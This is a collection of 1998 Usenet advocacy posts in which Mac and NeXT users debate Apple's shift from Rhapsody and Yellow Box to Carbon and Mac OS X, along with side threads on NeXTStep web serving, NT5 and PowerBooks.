Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 12:24:19 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jp99j$ti3$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us> <6jeqlq$1hv$1@nnrp1.dejanews.com> <6jfbjs$76e$1@crib.bevc.blacksburg.va.us> <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114> <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <ericb-1505981808160001@132.236.171.104> <6jiinl$bg2$1@crib.bevc.blacksburg.va.us> <199805160314061503384@sdn-ts-003txhousp16.dialsprint.net> <ericb-1705981553500001@132.236.171.104> <pulsar-ya02408000R1705981514490001@news-proxy.cso.uiuc.edu> <199805172334552400739@sdn-ts-001txhousp01.dialsprint.net>
In article <199805172334552400739@sdn-ts-001txhousp01.dialsprint.net>,
drifterusa@sprintmail.com (John Bauer) wrote:
>
> Pulsar wrote:
>
> > There was no definite indication that there would be a YB on Mac OS. IIRC,
> > the strongest commitment Apple made towards it was to "look into it". There
> > was rumor from various sites (particularly MacOSRumors), but there was
> > little directly from Apple that would have indicated it.
>
> Actually, this is not quite true. Apple explicitly stated on its
> website that there would be a Yellow Box for Mac OS. I don't recall if
> "Mac OS 8" was spelled out, though I'm fairly certain the capability was
> planned for Allegro (i.e., 8.5). Those with some life experience might
> have joined me in thinking, "Is that technically feasible in a
> reasonable timeframe? I'll believe it when I see it." Those expressing
> shock and surprise that the answer turns out to be "no" are no doubt
> blessed in their innocence.
But I don't think Apple (got drunk and) promised preemptive multitasking etc
in it. Surely many YB apps would have broken on a YB on MacOS?
In any event, the scepticism was indeed there. This is from MacWorld's
coverage of WWDC 97:
"Imagine Windows 3.1 users having a Wndows 95 compatibility environment that
lets them run Windows 95 programs, but not quickly and without multitasking
features -- that's in essence what Apple is suggesting Mac OS owners would do
who ran the Yellow Box on top of Mac OS 8.
Sorry, but if you need Yellow Box programs, you need the performance of the
Macs that support the full Rhapsody. Apple shouldn't divert its attention to a
project that won't really give Yellow Box developers a significant number of
customers -- the active customers will be running Rhapsody-capable Macs and
will not need such a retrofitted OS."
They weren't always bulls-eye though:
"[Like Rhapsody for Intel], Rhapsody for Windows is unneeded. Windows users
will run Windows programs and some Java programs. Why do they need to run
Rhapsody programs? To think they want yet another type of alien software on
their PCs is like expecting Mac owners to be happy to run Windows programs on
their Macs."
Something I'd like to see enlightened opinions on is to what extent dropping
Rhapsody for Intel might hurt cross-platform Yellow Box development. Even if
someone wants a fully hosted YB, I'd expect that the cost of a G3 is small
compared to the cost of adopting a new API. But what psychological effect
might it have upon currently Intel-based (non-OpenStep) developers?
/A
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 12:14:46 GMT
Organization: P & L Systems
Message-ID: <6jp8nm$1cc$91@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news>
<ericb-1405981159190001@132.236.171.104> <see-below-1405982034460001@209.24.240.162>
<ericb-1505981818400001@132.236.171.104> <see-below-1505982119100001@209.24.241.97>
<355DABCF.B1FC5A7E@milestonerdl.com> <6jmt1p$1cc$55@ironhorse.plsys.co.uk>
<355F2C5D.DA20E328@milestonerdl.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mark@milestonerdl.com
In <355F2C5D.DA20E328@milestonerdl.com> M Rassbach wrote:
> mmalcolm crawford wrote:
> > In <355DABCF.B1FC5A7E@milestonerdl.com> M Rassbach wrote:
> > In all of this prattle, you've forgotten WebObjects, which is based on
> > YellowBox, which has been enhanced significantly since last WWDC, and
which
> > is a shipping product. On Windows NT.
> >
> > Apple has a number of *major* high-profile WebObjects customers.
>
> And the press announcements about how wonderful WebObjects, and how the
> main-stream press has picked it up is part of what marketing plan?
>
What the dickens does this have to do with anything?
There have in fact been a number of stories in the main stream press about
WebObjects, not least when the BBC started using the product for its online
news service -- cf
http://www.apple.com/webobjects/
but WebObjects hasn't been a "mainstream" product, it's not something anyone
in the street would pick up and use, it's aimed at industrial strength
websites.
mmalc.
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: ntoge@netcom.com (Nobukazu Toge)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <ntogeEt5K8q.H1t@netcom.com>
Followup-To: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: Netcom On-Line Services
References: <nagleEsto5z.E8C@netcom.com> <B17DDD1E-2634C@209.109.225.96>
Date: Mon, 18 May 1998 12:34:02 GMT
Sender: ntoge@netcom12.netcom.com
On Mon, May 11, 1998 10:27 PM, John Nagle <mailto:nagle@netcom.com> wrote:
> Sigh. This is yet another Apple announcement of the form
> "In a year or two, the OS API will be substantially different. But
> right now, the new version isn't available".
>
> We've heard this before:
>
> Workplace OS
> Pink
> Taligent
> Bedrock
> Copland
> Rhapsody
>
> I think the appropriate developer reaction is "when you ship this new OS
> to customers, let us know, and we'll consider porting our product."
Exactly my sentiment. I still remember the days when I was diligently
printing out many thick docs from Apple Developer's CDs preview
references on Bedrock then on GX then on OpenDoc then on Copland
Microkernel, the new Compatibility Guide etc.
Back then I was feeling like a fireball trying to stay up with whatever
the next great thing to come from Apple. I really believed that the future
was there. Alas, such days are long gone.
I don't know whether X in a year is a feasible project or not, but for
now I don't care. If Apple means it, please, go ahead and just do it
and I could certainly reconsider in a year. It's not a thing that I'd try
very hard (as before) to stay up to date at this point.
--
Nobu Toge
e-mails to : ntoge@netcom.com
#include <StandardDisclaimers.h>
From: laranzu@spirit.com.au (Hugh Fisher)
Newsgroups: comp.sys.next.advocacy
Subject: Procrastination pays: Yellow Box to join Newton
Date: Tue, 19 May 1998 22:20:11 +1000
Organization: client service of Spirit Networks at http://www.spirit.net.au
Message-ID: <laranzu-1905982220120001@dd197.spirit.net.au>
The latest WWDC has once more sent a clear, unambiguous message
to Apple developers: procrastinate now! Bedrock. Taligent.
Copland. And now Yellow Box. Anything you can't actually buy
from the local computer store can be safely ignored, because
it's likely to be consigned to oblivion before it ships.
After the 1997 WWDC I started thinking that I should renew my
developer membership to get a copy of Rhapsody. I also thought
about buying books on OpenStep and Mach, and thought about trading
in my Mac for an 8500/8600 so I could run the DR1 release. Until
a few days ago I was feeling guilty that I'd only thought about
these but not actually *done* anything. Now, it's paid off! Carbon
is the chosen API for future development, and I'm very much afraid
that we're never going to see Yellow Box on MacOS X.
At this point all the OpenStep developers are saying "But Apple
are still recommending Yellow Box as their preferred cross -
platform solution and for new development." Yeah, they don't want
any negative vibes for the press to latch on to yet. But it will
happen. The Mach/BSD kernel will undoubtedly stay as the basis
for MacOS X, but the Yellow Box has become redundant. Apple may
keep selling the Rhapsody/Yellow Box combination for servers and
Intel, but it's always going to be an expensive niche product.
Remember that Apple have stated that Win95/NT is the model for
their Rhapsody/MacOS strategy. Well, that's two kernels, but
only one user interface API. It works for Microsoft.
Then there's the new imaging model for MacOS X. Without Display
PostScript, Yellow Box will need a fair amount of code replaced
if it's to run on MacOS X. Either they start maintaining a dual
code tree, one for Intel and one for MacOS X, or they port Carbon
to Intel. Anyone believe that either of these will be a higher
priority for Apple than making Carbon really rock?
The old pre-Jobs Apple might have been willing to do so. That
Apple was run like a feel-good medical soap, where Quickdraw GX
would be left in a corner with a glucose drip in case a miracle
occurred, and where Dr Amelio would authorise another million
dollar treatment for OpenDoc because "we have to try." Now that
Jobs has taken over, the emergency ward has been bulldozed for
a parking lot and if dear old Granny still can't walk after two
aspirin, she's sliced and diced for the organ banks faster than
you can say "Imaging Division." Steve Jobs has made it clear
that MacOS is the only thing that matters: look what happened
to Newton even though the 2100 and eMate were finally selling.
I predict, and I'd really like to be wrong, that in six months
Apple will announce that Yellow Box won't be available on the
first release of MacOS X. This will coincide with the first
demonstrations of Microsoft Office 99 and Adobe Photoshop 7
running under Carbon, so nobody in the mainstream market will
pay attention. Mesa? Pasteboard? Sorry people, you're not big
name developers. "Good enough" will triump over "better" once
more.
Date: Mon, 18 May 1998 08:53:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <joe.ragosta-1805980853470001@wil100.dol.net>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu> <3559DA0F.8F00D835@milestonerdl.com> <6jd4f5$ehq$1@nnrp1.dejanews.com> <355A171A.4F4F20C8@milestonerdl.com> <6ji63i$1cc$48@ironhorse.plsys.co.uk> <199805160314101503615@sdn-ts-003txhousp16.dialsprint.net> <6jnh6h$1cc$76@ironhorse.plsys.co.uk>
In article <6jnh6h$1cc$76@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <199805160314101503615@sdn-ts-003txhousp16.dialsprint.net> John Bauer
> wrote:
> > mmalcolm crawford wrote:
> >
> > > I've stated elsewhere I'm willing to lay $100 on YB running on Win98
> within a
> > > year of it shipping.
> > > Put up or shut up.
> > > I'd offer the same for NT5, but who knows when that would ship. $100 may
> not
> > > be worth fighting over by the time NT5 arrives.
> >
> > How about 100 Euros? ;-)
> >
> That would be an interesting side-bet -- which will ship first, the Euro or
> NT5?
> :-)
I can't wait. I just got back from a trip to Europe and needed three
different currencies. There's the cost of changing them from dollars to
the local currency, the lousy exchange rates, and the cost of changing
back. Of course, there's also the pockets full of three different types of
coins when I return (since the exchange places won't take coins).
I don't know what it's going to do for Europeans, but from my selfish
perspective as an American business traveller, it will be nice.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Mon, 18 May 1998 06:03:16 -0700
Message-ID: <see-below-1805980603160001@209.24.240.12>
References: <6jng30$fg7$1@supernews.com> <joe.ragosta-1805980759190001@wil100.dol.net>
In article <joe.ragosta-1805980759190001@wil100.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6jng30$fg7$1@supernews.com>, a l t e n b e r@nashville.com wrote:
>
> > Does the evisceration of Display PostScript from Yellow Box and MacOS
X mean
> > the end of the true "What You See Is What You Get" feature unique to
> > Rhapsody, OpenStep and NeXTStep? This is more of a loss to MacOS X
than the
> > loss of NSHost, in my opinion. It is a feature of NeXTStep and its
> > decendents that truly differentiated it from every other system out there.
> > The presence of this unified imaging model made it possible for me to
> > exchange images from any application to any other, and to take the printer
> > output and embed that in any application. And always with WYSIWYG.
> >
> > Anyone know what the new MacOS X regime will bring?
>
> It's not clear, but you can bet that WYSIWYG will be part of it. Apple has
> had this since the beginning and isn't going to drop it now.
You're probably right that this is a goal for them in this new imaging
model, but to be clear, Apple's never really had WYSIWYG in the way
they're talking about.
The point is that _exactly_ the same language that describes graphics for
the screen is what your printer understands too. On the Mac, they're two
totally different languages, and while for common tasks they're usually
pretty close, professional publishers have all kinds of headaches of the
two not quite matching. (I do know that there have been QuickDraw
printers, but not for professional printing.)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Date: Mon, 18 May 1998 08:57:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Message-ID: <joe.ragosta-1805980857160001@wil100.dol.net>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <355CC191.DC8B09BA@nospam.com> <6jnaav$1cc$72@ironhorse.plsys.co.uk> <zegelin-1805981401230001@dialup19.canb.ispsys.net> <6joccd$qiv$1@crib.bevc.blacksburg.va.us>
In article <6joccd$qiv$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <zegelin-1805981401230001@dialup19.canb.ispsys.net>,
zegelin@actonline.com.au (Peter) wrote:
>
> > I think Apple should set an example by stating that they will use YB for
> > future versions of their own cross platform Apps. AppleWorks, FileMakerPro
> > etc.
>
> Porting Mac apps to Yellow isn't really very practical -- that was the
> whole reason for Carbon. I'd rather see Apple spend their time making
> Yellow better than by porting existing apps to it. They can set their
> example by releasing any _new_ apps as Yellow. (Though it doesn't look
> like Apple is in the business of producing any apps other than their
> existing Mac productivity apps and development tools.)
But since they're separate groups, spending time in the applications group
on Yellow wouldn't detract from the time spent by the OS group.
I agree with Peter. Apple needs to be the first on the block supporting
their key technologies. Yellow Box is one of them.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTStep as web server
Date: 18 May 1998 12:57:23 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6jpb7j$bun$1@sun27.hrz.tu-darmstadt.de>
References: <355FAADD.6387@iwvisp.com>
Kenny Melton <kmelton@iwvisp.com> wrote:
>Hi,
> I am new to NeXTStep, but not to UN*X's and I am considering using a
>NeXT Cube as a web server. Does anyone know how well it will work for
>http, ftp, etc.? Has anyone ever used NeXTStep as a server for this
>use?
A chap called Tim Berners-Lee for instance..
Nextstep is a good choice for a server platform (not as high
performance as FreeBSD, but very easy to set up and maintain).
However, I'd advise against using a Cube, black hardware is
a bit slow as a Web server.
If all you want to do is play a little though, you're fine.
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: rsrodger@wam.umd.edu (Rob Rodgers)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Sun, 17 May 1998 21:19:56 GMT
Organization: University of Maryland, College Park, MD
Message-ID: <355f5464.16260165@news.wam.umd.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>In <355B3D6F.63A9F50A@milestonerdl.com> M Rassbach wrote:
>> > Just out of curiousity, How vaporously close to release is NT5?
>> > Also, Since NT 5 is reported to have more than 14 million lines of NEW
>> > code, how fast do you think it will be adopted?
>>
>> The same way NT 3.51-> NT 4 happened.
>>
>You mean really slowly...
Slow adoption is wise adoption.
From: rsrodger@wam.umd.edu (Rob Rodgers)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Sun, 17 May 1998 21:26:48 GMT
Organization: University of Maryland, College Park, MD
Message-ID: <355f5601.16672773@news.wam.umd.edu>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com> <6jm0l9$k8a$1@crib.bevc.blacksburg.va.us> <b8D71.2346$Fi2.1416762@news.rdc1.sdca.home.com> <aa829-1705981455440001@port31.dialb2.gain-ny.com>
aa829@ccn.cs.dal.ca (Charlie Mingo) wrote:
>Apple will still have Rhapsody 2.0 for Intel (Rhapsody 1.0 with the new
>YellowBox architecture), and new-style YellowBox apps will be supported
>under Windows (indeed, one reason for losing DPS was to get a royalty-free
>Windows runtime).
^^^^^^^^^^^^^^^
Yeah? Believe it when you see it.
Date: Mon, 18 May 1998 09:13:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <joe.ragosta-1805980913080001@wil100.dol.net>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <*johnnyc*-1805980922090001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-1805980922090001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> In article <35573831.69E8CDC6@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > Yea, I'm looking for better clarification on CARBON vs YellowBox.
> >
> > If carbon is now the future, then that answers any question I had about an
> > Intel (or any hardware) migration via YellowBox.
>
> Carbon is the future for behemoths like MS and Adobe with millions
> lines of current Mac code. Yellow Box is the future for anyone who wants
> to try to beat them.
Well put.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Mon, 18 May 1998 09:49:50 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-1805980949500001@downtown1-8.slip.netaxs.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu>
Mail-Copies-To: jayfar@netaxs.com
In article <355f5464.16260165@news.wam.umd.edu>, knave@acm.org wrote:
| mmalcolm crawford <malcolm@plsys.co.uk> wrote:
| >In <355B3D6F.63A9F50A@milestonerdl.com> M Rassbach wrote:
| >> > Just out of curiousity, How vaporously close to release is NT5?
| >> > Also, Since NT 5 is reported to have more than 14 million lines of NEW
| >> > code, how fast do you think it will be adopted?
| >>
| >> The same way NT 3.51-> NT 4 happened.
| >>
| >You mean really slowly...
|
| Slow adoption is wise adoption.
In the May BYTE magazine, a Gartner Group report sez:
* "...NT 5.0 will incorporate a host of unproven technologies. As a result,
* Gartner Group recommends that you should wait at least 6 to 9 months until
* the first NT 5.0 service pack is released and proven stable before
* deploying."
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 13:35:37 GMT
Organization: P & L Systems
Message-ID: <6jpdf9$1cc$92@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu>
<3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu>
<355B2F43.D365D2F1@spamtoNull.com> <pulsar-ya02408000R1405981632050001@news-proxy.cso.uiuc.edu>
<355F6C41.F47A4916@spamtoNull.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: Limeyville@spamtoNull.com
In <355F6C41.F47A4916@spamtoNull.com> Jonathan Harker wrote:
> Again, you can't *say* what you just said! "Mac OS 10" does not yet
> exist! You cannot say it is *not significantly different from Rhapsody.*
> That may or may not be the case--*when* Mac OS 10 is *released.*
>
Twaddle. Apple has been clear about what MacOS X is, and when you peel away
the cotton wool, it's Rhapsody with a new kernel and imaging model, and with
MacOS APIs to run alongside YellowBox.
> In fact, at the time Apple bought
> NeXT, it was *widely publicized* that Apple was searching for an OS
> solution to REPLACE the Mac OS. It is no more than a CYA policy that has
> *since* been engineered by Jobs to explain why Rhapsody *won't do* what
> *Apple thought it would do* when Apple shelled out 450 Million dollars
> to Jobs and company as the architects of the next-gen Apple OS.
>
Rhapsody will replace MacOS, except it won't be called Rhapsody, it'll be
called MacOS X.
It's so simple I'd have thought you would understand it.
> This is brilliant. First you say that Rhapsody will ship and do
> *everything* it was supposed to have done from the beginning, and do a
> *better* blue box, but that it may have a *negative impact.*
>
Sadly this is true, as we have seen. MacOS developers didn't like the fact
that OPENSTEP developers got the jump on them for the new OS, and didn't like
being given second class citizenship in the BlueBox. Is that so strange? It
was fine for us OPENSTEP developers, but I can understand why it might have a
negative impact on traditional MacOS developers.
> I submit that Rhapsody *will not* do everything as advertised and will
> in fact leave a lot of people cold and *that* is why Jobs needed to
> invent the NeXT Great Thing to divert attention from the upcoming
> Rhapsody release. That makes much more sense than what you maintain.
>
No, it doesn't.
MacOS X = Rhapsody + Carbon
What part of that didn't you understand?
> What assurance do you currently have that they will not "balk" at
> waiting 18 months to see what else develops at Apple, to see how to
> "tweak" their existing code?
>
The rapturous reception it got at WWDC.
> > The whole
> > reason Apple pulled this backwards compatibility stunt was because
> > developers weren't developing for Rhapsody. Apple has now provided a way
to
> > replace the Mac OS entirely as a mainstream OS with Rhapsody without
> > scaring away users and developers.
>
> This is where we completely disagree. As of now, Apple has *provided* no
> such thing. All Apple is doing is *talking about* when it will actually
> provide something and *talking about* what that something will consist
> of. Condensed, it is the difference between vaporware and shipping ware.
>
So if you're not willing to accept his version of the future, why should we
believe yours?
> Here's a really wild idea for you. Suppose that Rhapsody is as you've
> said--great, through and through, nearly bug free, and utilizing a great
> blue box that runs 99% of all legacy applications *better* than the
> current Mac OS. HOW CAN YOU BE SO SURE THAT DEVELOPERS WOULDN"T HAVE
> SIGNED ON AFTER SUCH A RELEASE WAS ACCOMPLISHED?
>
Because up until last week you were telling us that they wouldn't.
Why have you changed your mind now?
> Suppose Apple pushed it
> and sold 5 million copies in a year? Suppose it was selling GREAT and
> RUNNING GREAT? Don't you think major developers would REASSESS their
> current positions? I certainly do, myself.
>
Yes, I'd expect so. Your point?
> But Jobs has killed that possibility with his nauseating "MAC OS 10"
> publicity stunt.
>
How?
> Let me put another wild premise to you. Suppose Mac developers, instead
> of waiting around for 18 months to learn just how to "tweak their
> applications" for Mac OS 10, decided to go ahead and use that time
> REWRITING THEIR CODE for Rhapsody? Of course, that possibility has been
> shot down, too.
>
How?
If they spend their time rewriting for Rhapsody, their investment will pay
off in two ways:
(1) They'll have YellowBox apps to ship on Rhapsody and YB/Windows by Q3;
(2) They'll have YellowBox apps to run on MacOS X in 1999 taking advantage of
all the MacOS X features.
> If that's so, then how is Rhapsody being released this fall supposedly?
>
No "supposedly" -- it will.
> I see..."Mac OS 10" is merely Apple's cute way of saying, "Mac OS 10 is
> the Rhapsody that consumers and developers will LIKE. So it's 18 months
> late.
>
In what way does market acceptability affect whether or not the product ships
on time? You are equating unequal terms.
> Do you REALLY_BELIEVE that the "general public" even knows what Apple
> Computer is? Come on...that one's tough enough, let alone the Rhapsody
> issue. Everything that Apple is doing it's doing for the CURRENT MAC
> MARKET, IE, people currently using a Mac. Nobody else even figures in.
>
I take it you're not in the market, then. Our customers (not traditional Mac
consumers) certainly do know what APple is, not that Apple has technologies
of interest.
> > _I_ will buy Rhapsody as soon as it becomes available to me. That has not
> > changed with Jobs' announcement.
>
> So, you'll buy it--but few others will. Is that your core argument?
>
Not at all. What's your argument?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 13:40:29 GMT
Organization: P & L Systems
Message-ID: <6jpdod$1cc$93@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <895179379.806734@kelp.mbay.net>
<6jfmgm$7pe$1@crib.bevc.blacksburg.va.us> <6jhodi$ckf@papoose.quick.com>
<6jhv7a$aph$1@crib.bevc.blacksburg.va.us> <see-below-1505982056500001@209.24.241.97>
<355D8F01.6D9ED4B1@milestonerdl.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mark@milestonerdl.com
In <355D8F01.6D9ED4B1@milestonerdl.com> M Rassbach wrote:
>
> I wonder....if the iMac fails...will the board call for Jobs' head?
>
Probably not, but since there are apparently 70,000 of the things on advance
order from CompUSA alone I guess we'll never know.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 13:41:44 GMT
Organization: P & L Systems
Message-ID: <6jpdqo$1cc$94@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6jg26g$89f$1@crib.bevc.blacksburg.va.us>
<see-below-1405982010060001@209.24.240.162> <6jgdc7$s45$1@camel18.mindspring.com>
<355C2F89.CE6DC565@milestonerdl.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mark@milestonerdl.com
In <355C2F89.CE6DC565@milestonerdl.com> M Rassbach wrote:
> Matthew Cromer wrote:
> > When NT5 ships in the year 2000 you will see this committment.
>
> And you know this because Apple has said so where?
>
Produce the press release that says they will not support NT5.
mmalc.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Message-ID: <1998051813574900.JAA11894@ladder03.news.aol.com>
Date: 18 May 1998 13:57:49 GMT
Organization: AOL http://www.aol.com
References: <joe.ragosta-1805980759190001@wil100.dol.net>
Joe Ragosta said:
>It's not clear, but you can bet that WYSIWYG will be part of it. Apple has
>had this since the beginning and isn't going to drop it now.
::sigh::
Talk about revisionist history--Tell me again how it was that the Apple 1 or ][
had WYSIWYG?
Oh, you meant just the Macintosh--how was having distinctly different design
styles in the Geneva bitmap family to accomodate the original ImageWriter I
printer being 160 x 144 dpi WYSIWYG? Geneva had quite a different printed
appearance from its appearance on-screen.
To return to the topic at hand, I suspect that basing things on .PDF will work
out okay, but not be as elegant in some aspects. ::sigh:: this seems to be the
story of Rhapsody.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: buchner@freenet.msp.mn.us (Greg Buchner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.portables,comp.sys.next.advocacy
Subject: Re: Clue phone for IBM!!
Date: Mon, 18 May 1998 09:11:06 -0500
Organization: [poster's organization not specified]
Message-ID: <buchner-1805980911070001@pm-4-096.dynam.wavetech.net>
References: <6joi32$54j$4@newsfep4.sprintmail.com>
In article <6joi32$54j$4@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
>I just saw a ibm thinkpad ad tonight, and it made me think: Ya know, the
>thinkpad is a preety cool portable, only one thing wrong tho: it doesnt use a
>g3 chip! And wouldnt you know it, IBM even MAKES g3 chips
IBM does use at least variants of the PPC chips...they use them in their
RS/6000 workstation/AIX servers.
I've had fun with that where my dad works...the computer guy there knows
I'm into Macs, pointed out their new AIX machine, which says PowerPC on
the front of it and said something to the effect that this machine was
quite quicker than the intel machines they had and probably blew away
the Macs. At that point I happily pointed out that the Power in
PowerMac stood for PowerPC.
IBM did also make an RS/6000 lpatop. I don't think it really ever caught
on, and don't know what happened to the product line (of the laptop.)
Greg B.
--
*****
buchner at freenet.msp.mn.us
gregbuchner at delphi.com
gjb at wavetech.net
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Mon, 18 May 1998 10:14:42 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-1805981014420001@mv175.axom.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1> <rmcassid-1305981222130001@dante.eng.uci.edu> <355b1e83.0@206.25.228.5> <6jg12k$o12$1@winter.news.erols.com> <rmcassid-1405982346120001@dialin9022.slip.uci.edu> <johntl-ya02408000R1605981703160001@news.means.net> <6jo41u$qs9$1@nntp2.ba.best.com>
In article <6jo41u$qs9$1@nntp2.ba.best.com>, Nathan Keir Edel
<edel@best.com_SPAMBLOCK> wrote:
>In comp.sys.mac.portables John Linnemann <johntl@means.net> wrote:
>> Apple now has a G3 notebook for $2300 and it is coming out with a consumer
